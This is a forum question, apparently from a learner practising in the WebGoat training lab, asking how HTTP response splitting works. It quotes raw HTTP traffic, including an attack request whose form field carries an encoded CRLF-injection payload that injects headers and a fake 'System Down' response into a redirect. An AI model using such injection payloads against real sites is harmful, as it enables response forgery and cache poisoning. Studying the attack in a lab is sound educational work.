I am trying to wrap my head around HTTP Response splitting. Although using WebGoat etc. I was able to learn how to do it in practice, but I guess I am still confused with some very fundamental understanding of how it really works. Hoping someone could help me rise above my confusion.
So from what I understand about HTTP Response Splitting is
Let's say there is a vulnerable application that takes user input and does a redirect based on the user input.
Example :(taken from WebGoat)
Request 1:
POST /WebGoat/lessons/General/redirect.jsp?Screen=2&menu=100 HTTP/1.1
Host: 10.0.2.15:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=abcd
Cookie: JSESSIONID=C55746E2740F744BC2D6F3D415570A71
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 30
language=abcd&SUBMIT=Search%21
As a response to this request the application does a 302 redirect and the below response is sent back to the browser :
Response 1:
HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=abcd
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 0
Date: Tue, 03 Nov 2015 17:16:37 GMT
Now when the browser receives this response, knowing that it is a 302 redirect, the browser makes another request to the server on the path specified by the 'Location' header in the response above. So the next request is like :
Request 2:
GET /WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=abcd HTTP/1.1
Host: 10.0.2.15:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=null
Cookie: JSESSIONID=C55746E2740F744BC2D6F3D415570A71
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive
Now when the server receives this request, it looks for the specified resource and handles the request accordingly and serves the respective response, which is rendered by the browser.
Now take the same above scenario into consideration and this time with an HTTP Response Splitting payload : So now :
Attack Request 1:
POST /WebGoat/lessons/General/redirect.jsp?Screen=2&menu=100 HTTP/1.1
Host: 10.0.2.15:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&Restart=2
Cookie: JSESSIONID=C55746E2740F744BC2D6F3D415570A71
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 249
language=abcd%250AContent-Length%253A%25200%250A%250AHTTP%252F1.1%2520200%2520OK%250AContent-Type%253A%2520text%252Fhtml%250AContent-Length%253A%252035%250A%250A%253Chtml%253ESorry%252C%252520System%252520Down%253C%252Fhtml%253E&SUBMIT=Search%21
And the response received for this is :
Attack Response 1:
HTTP/1.1 302 Moved Temporarily
Server: Apache-Coyote/1.1
Location: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=advanced%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2035%0A%0A%3Chtml%3ESorry%2C%2520System%2520Down%3C%2Fhtml%3E
Content-Type: text/html;charset=ISO-8859-1
Content-Length: 0
Date: Tue, 03 Nov 2015 17:24:00 GMT
And now
Attack Request 2: would be
GET /WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=advanced%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2035%0A%0A%3Chtml%3ESorry%2C%2520System%2520Down%3C%2Fhtml%3E HTTP/1.1
Host: 10.0.2.15:8080
User-Agent: Mozilla/5.0 (Windows NT 6.3; WOW64; rv:41.0) Gecko/20100101 Firefox/41.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: en-US,en;q=0.5
Accept-Encoding: gzip, deflate
Referer: http://10.0.2.15:8080/WebGoat/attack?Screen=2&menu=100&Restart=2
Cookie: JSESSIONID=C55746E2740F744BC2D6F3D415570A71
Authorization: Basic Z3Vlc3Q6Z3Vlc3Q=
Connection: keep-alive
So now the server actually gets a request for a resource at :
/WebGoat/attack?Screen=2&menu=100&fromRedirect=yes&language=advanced%0AContent-Length%3A%200%0A%0AHTTP%2F1.1%20200%20OK%0AContent-Type%3A%20text%2Fhtml%0AContent-Length%3A%2035%0A%0A%3Chtml%3ESorry%2C%2520System%2520Down%3C%2Fhtml%3E
on the server. This resource does not actually exist on the server. Also this resource has Response Headers as part of the requested resource.
So now my confusion is how does the server handle this ? What does the server actually do with the response headers coming in the request ? And more specifically, how does this lead to response splitting attack ?
My direction of thought is that when we are talking about the Attack Response 1, then itself the browser sees that the request has 2 responses. So the browser takes the first part of the response for the first request it made and caches the second part of the response for the next request that would be made. In our case the next request is Attack Request 2. So when this request is made, the browser simply serves the already cached response (the second part of the previous response) for Attack Request 2. And that's how HTTP Response Splitting worked. So here we are basically playing with the browser cache (contrary to some articles I read which mentioned that HTTP Response splitting is about Server Cache )
Am I correct in my understanding of the above ? May be I am missing something very basic. Please bear with me on this one.